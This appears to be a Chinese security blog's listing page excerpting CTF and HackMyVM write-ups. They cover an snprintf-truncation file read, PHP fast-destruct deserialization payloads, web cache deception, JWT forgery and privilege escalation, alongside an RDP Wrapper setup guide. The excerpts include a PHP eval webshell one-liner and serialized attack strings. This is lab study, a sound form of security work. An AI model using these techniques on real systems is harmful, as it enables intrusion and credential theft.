2024HKCert CTF 线上赛 Web | Writeup

前言 一直从去年比赛结束拖到现在,我也是个神人了 本篇将复现Web方向全部题目(不包括PWN+Web),包括step by step 已知用火 (1) / Custom Web Server (1) 一道C语言web题,比较少见,不过仔细分析一遍后会对C语言的socket编程有初步的理解,所以我们来详细分析一下 拿到附件后发现只有srv/里的静态文件和server.c的逻辑,那就来看c程序 首先是setvbuf 这个函数的主要作用是将标准输入、输出、错误用全缓冲放到NULL缓冲区里。 当我们在对系统进行输入与输出时,系统并不会直接从物理硬件读取内容,而是会放到缓冲区里,等触发一定条件后才会将从缓冲区内取出使用。而在这个程序里的条件就是这个全缓冲,会将我们输入的内容全放到NULL里,也就是空,这样做的目的就是让我们在标准输入和输出无法控制这个程序。 接着声明服务地址与客户端地址 之后创建一个socket变量。这个变量有个更专业的名字叫”套接字描述字“,但为了方便理解我这里直接叫他socket变量。 我们要想为C语言程序创建一个服务端待连接套接字(socket),就需要先创建一个变量,接着再一步步创建bind(用于为socket变量绑定地址)、listen(开启监听)、accept(收到客户端请求后确认连接)、recv(接受数据)、close(关闭连接)等,可以看下面这幅图。更详细的内容可以看这篇文章 这就是socket连接的大概流程,接着我们来解释一下这里参数的意思。 AF_INET:这个参数意为告诉socket函数需要创建IPv4协议的连接。这个参数位为协议域(domain),又称为协议族(family),常用的协议族有AF_INET(IPv4)、AF_INET6(IPv6)、AF_LOCAL(或称AF_UNIX,Unix域socket)、AF_ROUTE等等 SOCK_STREAM:这个参数意为需要创建流式套接字。这个参数位为需要创建的套接字类型,常用的socket类型有,SOCK_STREAM(流式套接字)、SOCK_DGRAM(数据报式套接字)、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET等等 0:这个参数意为自动选择传输层协议。这个参数位为选择传输层协议,常用的协议有,IPPROTO_TCP、IPPROTO_UDP、IPPROTO_SCTP、IPPROTO_TIPC等,它们分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议。需要注意,IPPROTO_TCP只能搭配SOCK_STREAM,因为TCP是流式传输,每个数据包之间有关联性,而不像UDP前后不分。 接着就是手动配置服务端地址 其中,INADDR_ANY表示0.0.0.0,htonl函数的作用是将电脑的小端序改成网络字节流的大端序 接着就是绑定地址和监听,bind和listen函数如果运行成功将返回0 listen函数的第二个参数意为最大的连接等待排队个数,因为这里暂时(下面使用了多进程)没做多线程处理,所以listen一次只能处理一个连接 最后用accept函数确认连接,至此我们就能成功与客户端保持连接了。 接下来就是为这个连接使用fork函数创建一个子进程去运行。这样这个连接就会被挂载到这个子进程上,listen就能去处理排队里的下一个连接 handle_client函数为自定义函数,所以我们接着来分析一下 首先声明了两个字符数组,这个没什么好说的 接着用memset初始化,将所有数组空间用0填充 接着将从客户端发送来的数据包内容保存到buffer数组里 接着用sscanf将buffer里的内容用%s格式化后储存到requested_filename。例如我访问内容为http://127.0.0.1/index.php,那么requested_filename就为index.php 这里我在分析的时候比较疑惑为什么不是整个http请求包,而是只有一个index.php,其实仔细想想就会发现,%s会读以“空格”或“换行”为截断去读取内容,而此时buffer的内容应该长这样 GET /index.php HTTP/1.1\r\nHost: localhost\r\n... 很明显后面有空格,所以就不会包含整个包体。算是用得挺巧妙的一个地方 之后又是一个自定义函数,不过我们先不着急看它怎么实现,从样子上大概可以看出来它是用来返回500.html的页面内容 接着来到这句 FileWithSize是一个自定义结构体 也就是最后的返回值是这两个变量。read_file也是FileWithSize类型的自定义函数,跟进一下 上来又是一个自定义函数ends_with,继续跟进 一个很简单的判断逻辑,判断后缀名是否相等。这里strncmp函数作用是判断第一个参数位是否和第二个参数位相等,第三个参数位表示判断长度。不过这里当时看到字符串text和整型text_length拿来加减有点懵,经过查阅后得知C语言中字符数组如果被拿来加减,其实就会改变其指针指向的位置,这里的运算操作就恰好能让指针落在后缀名里的.符号上,是第二个利用得很巧妙的地方 因此我们可以得知只能用这四种后缀名。回到read_file 定义数组和赋值,snprintf意为将第四个参数位中的值和第三个参数位中的值拼接后,为第一个参数位输入第二个参数位的值的长度的值。也就是说我们不能为real_path输入超过1024个字符,包括public/。并且,根据snprintf的特性,它允许输入的内容长度大于第二个参数位的值,甚至是第一个参数位的数组大小,因为它只会输入第二个参数位那么多的字符,这正是漏洞点。 因为public/恰好占了7个字符,如果我们将filename的数量控制在1019个字符(因为在handle_client中的sscanf存在一个/,所以发包的时候记得从第一个/之后开始算起),且最末尾为.js(当然也可以是其他几个允许的后缀),这样就恰好能将.js排除在1024之外,并且根据后文的内容可以得知real_path为读取文件内容的路径,这样就能轻松地达到读取任意文件的目的 已知用火 (2) / Custom Web Server (2) 为了彻底搞清楚这题的原理,耗了我很久的时间去验证read从socket缓冲区写入到buffer中的字节数以及发包个数。并且到我发稿前在网上并没有找到漏洞利用的详细说明,大部分wp认为填充字节是为了绕过nginx,其实并不是,且没有对为什么要发送三个包作出详细说明。接下来我们来仔细分析一下 ...

May 13, 2025 · 10 min · Red

[技术杂谈]低成本windows远程控制直连方案(无需VPN组网)

贫穷真的会激起人的创造力 前言 最近经常在学校用mba远控家里的windows,又被todesk、uu远程这类远控软件的逆天延迟搞的口吐芬芳( 唉,资本,你又赢了 一怒之下决定自己搭一个可以直连的远程控制服务,以便在外也能愉快使用 原理 要想自己搭建远控服务,就先来了解一下现在市面上远控软件的主要原理。其实很简单,就是两台电脑利用远控软件提供的中转服务器作为桥梁传输RDP协议数据 这是最常见的模式,也叫Relay。这种模式是延迟最高的,因为两台电脑都需要连接到一台中转服务器上,而两边各自的链接质量都会影响你的最终体验 还有一种就是前言里提到的P2P (peer to peer),也就是直连,一般是先接入Relay,然后再利用udp打洞的形式让各级路由告诉你的两台电脑在其各自nat下的ip地址,以此达到类似直连的效果。这种模式看似方便,但实际上容易出现某一层nat不愿交出路由信息导致最终只能无奈妥协转成Relay的情况 由此可见,在传统的网络架构下,要想用ipv4做到简单部署显然是不可能的,因为现在绝大多数电脑都藏在一层又一层的nat下。所以我们不妨换一个思路,既然v4不行,那就用v6吧 准备工作 开启RDP服务 如果你是windows vista以上的非家庭版,那么只需要打开 控制面板->系统和安全->允许远程访问,将这个勾上 因为这篇文章主要面向在校学生,现在大多windows笔记本又是默认不提供远程访问功能的家庭版,所以下面将教大家怎么为win10/11家庭版破解出远程功能。如果你不需要这一部分教程可以直接跳过。 怎么判断自己需不需要破解呢?我以自己的win11为例,在设置里搜索远程 如果出现下面这样就说明你需要破解 首先需要到这里下载最新版.zip文件 解压后以管理员身份运行这个,为你的windows安装远程控制服务。 运行完打开这个,根据提示操作。操作完关闭后打开这个,进入配置页面 打开后,理论上你的第三行应该都会是红的(因为我已经可以用所以是绿灯),因为你还没将自己的系统相应的配置文件配置好。记住第二行后面的这串数字,我这里是10.0.22621.5124,每台windows的版本都可能不一样,你只需要知道你自己的就行 来到项目issue页面,将你的这串数字贴进去搜索 点进第一条,看看有没有提供配置文件。如果有,就直接复制使用,如果没有,就继续找。 可以看到有人提供,复制这段内容,打开这个路径C:\Program Files\RDP Wrapper。记事本打开rdpwrap.ini,拉到最下面,张贴进去 保存,然后重启你的电脑。重启后如果显示像我上面那样的三行绿就说明破解成功,你的家庭版也可以像其他windows一样接受远程控制了。此时我们回到刚才存放工具的目录,点开这个 它会尝试起一个本地链接来链接你的电脑,如果出现这个页面点击连接 如果能看到你的锁屏界面,那么就说明RDP功能已经开启成功了,接下来我们来配置端口和认证方式。 重新点开这个 你可以参考我的选项来。这里为了不暴露我使用的端口号就调回了3389,当然你也可以自己选一个端口,只要不和你已知的服务冲突 (这段话新手可以跳过不看)另外我需要向懂windows登录验证模式的朋友解释一下这里为什么选择default RDP auth而不是更安全的网络级验证,因为我实在没搞懂它在网络级验证登录窗口要我提供的账号密码是什么,尽管我已经留下了密码凭证但依旧没法使用我的microsoft账户或者windows hello登录。唯独没尝试将我的用户设置为本地用户,因为这会使我失去很多依赖的功能,所以我决定还是用默认RDP验证 配置完成后点击apply,然后再次重启你的电脑,接着我们来配置防火墙。 打开控制面板->系统和安全->Windows Defender防火墙->高级设置->入站规则->新建规则 最后名称和描述随意。完成后你应该能找到一条和我一样的规则 此时你的电脑就已经可以被你的局域网设备访问了,下一步就是要让你的电脑在公网上也能被链接到 地址解析 首先我们肯定不可能自己记v6地址,这玩意不像v4还有记住的可能,而是又臭又长。所以我们就需要一个域名来解决这个问题。这里我选择到porkbun买大家也可以自行到其他国外域名提供商购买,例如namesilo。为什么不到国内的买?因为国内需要备案,需要比较长的等待时间,如果你是和我一样已经迫不及待想开始使用的,就推荐直接找国外的域名商购买 购买完成后,我们就要想办法把自己ip解析上去。但由运营商直接提供的公网ip不像你买的vps那种IDC机房分发的一样固定,而是几乎隔两天就更新一次(具体频率随各个地区运营商不同),所以如果手动解析就会变得很麻烦,我们就需要ddns ...

May 7, 2025 · 1 min · Red

[靶场笔记]第二十四章

Fast destruct 来看一个例子 <?php class A{ public $haha=1; public function __destruct() { echo 3; } } $a=new A; $b=serialize($a); $test=unserialize($b); $test->haha=2; echo $test->haha; //233 可以发现一个很有意思的点,在unserialize和serialize两个函数结束后都没有马上执行echo 3;,而是在最后执行完echo $test->haha;才执行,原理如下 如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。 如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。 而有时候我们必须让destruct在unserialize结束后马上结束,就要用到fast destruct。操作起来很简单,一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct,其中的几种方式如下 #修改序列化数字元素个数 a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}} #去掉序列化尾部 } a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}} 本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。 serialize(unserialize($x)) != $x 先来看个正常的反序列过程 <?php class A{ public $a='b'; } $raw='O:1:"A":1:{s:1:"a";s:1:"b";}'; var_dump(unserialize($raw)); // object(A)#1 (1) { ["a"]=> string(1) "b" } 理论上,serialize(unserialize($raw))应该就等于$raw本身,但存在一种特殊情况会导致不相等,在讨论前先来看一下下面这个例子 在php中有一个预置类叫__PHP_Incomplete_Class,用来存放“需要进行反序列化的不存在的对象”。什么意思呢,就像下面这样 <?php $raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}'; echo serialize(unserialize($raw)); //O:1:"A":1:{s:1:"a";s:1:"b";} 在这个脚本中并不存在A这个类,但还是反序列化再序列化成功了。来看看它怎么反序列化成功的 <?php $raw='O:1:"A":1:{s:1:"a";s:1:"b";}'; var_dump(unserialize($raw)); // object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(1) "A" ["a"]=> string(1) "b" } 可以看到php把这个不存在的对象放到了__PHP_Incomplete_Class,类名为放到__PHP_Incomplete_Class_Name,剩下部分的放置和正常反序列化一样。那如果我们把__PHP_Incomplete_Class作为已知类进行反序列化呢 ...

April 17, 2025 · 1 min · Red

HMV NoPort | Writeup

主机发现后先扫一下端口 只有一个80端口,接着扫目录 发现有.git,直接githack下来 会发现有一个swp状态的文件 先vim -r .test.php.swp恢复一下,然后复制保存,把所有clone下来的东西拖到vscode里开始审计 先来看看nginx和apache,因为一般会起两个服务并且题目只提供一个端口应该是有前后关系 nginx.conf里可以看到用户为www-data,启用了proxy_cache,也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知,继续往下看 引用了ctf.conf 可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080,并且配置文件里没有提到是nginx起的php-fpm,再结合有个apache,因此推测内部拓补大概就长这样 并且可以发现,nginx会将你访问的静态文件缓存下来,这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php 在index.php可以归结出3种路由 第一种是visit 可以看到这个路径主要作用是去访问test.php,这个放到一会儿再看。 第二种是login,这个没什么好说,就是判断是否正确登陆,成功后跳转到一个叫sh3ll.php的地方 第三种是其他路径,也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由,并且想要触发这两个路由都需要在通过验证的情况下才可以进入 一种是路径中带profile字样,就给你放回你当前来访问这个路由的用户的账号信息,包括密码 第二种是直接去访问路径里的其他文件 接下来看一下test.php。日志的文件名被写死,基本不可能利用写入恶意代码的方式。 接下去是调用bot_runner函数,这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后,允许你携带管理员的cookie去访问你给的uri。 我们可以发现,虽然bot_runner函数会帮我们访问没错,但是并不会携带访问结果,也就是你看不到respones,所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能,设想一下,如果我们能将respones保存在一个静态文件里,不就可以看了吗? 所以我们可以构造这样一个payload uri=profile/1.css 可以设想一下,当管理员访问了profile后,php会返回密码,而nginx则会认为profile/1是一个css文件的文件名从而将页面内容缓存下来,这样只要我们访问profile/1.css就能得到结果 拿到密码后发现直接用这串密码是sha256加密过的,需要爆破 把密码存进hash文件里,直接上rockyou hashcat -m 1400 -a 0 hash rockyou.txt 得到明文starbucks 登陆后看到可以执行命令 直接写一句马上蚁剑 echo -n '<?php eval($_POST[1]);?>' > 1.php 在/var/www看到一个文件pass 翻译过来就是用户密码就是前面我们拿到的那个登录密码,尝试直接su会发现没有权限,所以应该是有别的方法。在/opt/hello下发现一个readme 翻译过来就是nginx会随着机器的重启而重启,下面附了一个建议,建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃 并在home下发现用户名 先看一下sudo -l,发现可以reboot 并且发现ssh服务,但是监听的是127,所以要想办法把这个端口映射出去 那就到nginx配置目录下看看 ...

April 9, 2025 · 1 min · Red

HMV Tryharder | Writeup

第一个一血,记录一下 Foothood 打开后发现有一个API调试路径 进来后是一个登录框 接着bp直接爆破, 进来后抓个包发现是jwt 直接丢到jwt.io看一下 很典的HS256,空密钥改admin,然后丢jwt_tool里先梭一把试试 上来了,接着直接传马发现不对劲 上.htaccess 拿下 连蚁剑,方便后面操作 直接冲/home,看一下能不能读,发现可以直接读flag 提权 - pentester 接着应该就是要想办法先拿到pentester,看一下/etc/passwd 看不懂思密达,丢给d老师问一下 感觉没啥用,那就只能继续信息搜集。这里卡了好一会儿,直到去opt逛了逛,发现他们几个 有nc,先弹个shell 跑一下pty,再跑一下pspy64 发现srv下面有东西,去看看 (这是在致敬2025 CCB吗= =) 拿刚才GECOS里的文本对照一下 发现有些字符不一样,就可以联想到二进制,一样的是1,不一样的是0(或者一样的是0,不一样的是1,两个我都试了一下)让d老师搓一个脚本对比就行 提取 - xiix 发现没有netstat,那就直接上fscan 有个8989,并且联想到刚才被xiix执行的backdoor.py,直接nc梭一波试试 提权 - root 写authorized_keys上来后,发现有个guess_game,跑一下 emm运气得留在更重要的地方🙏所以找找有没有别的办法,因为是游戏,所以第一时间想到可能留有后门。看一下env 有个1337,试试? ...

April 9, 2025 · 1 min · Red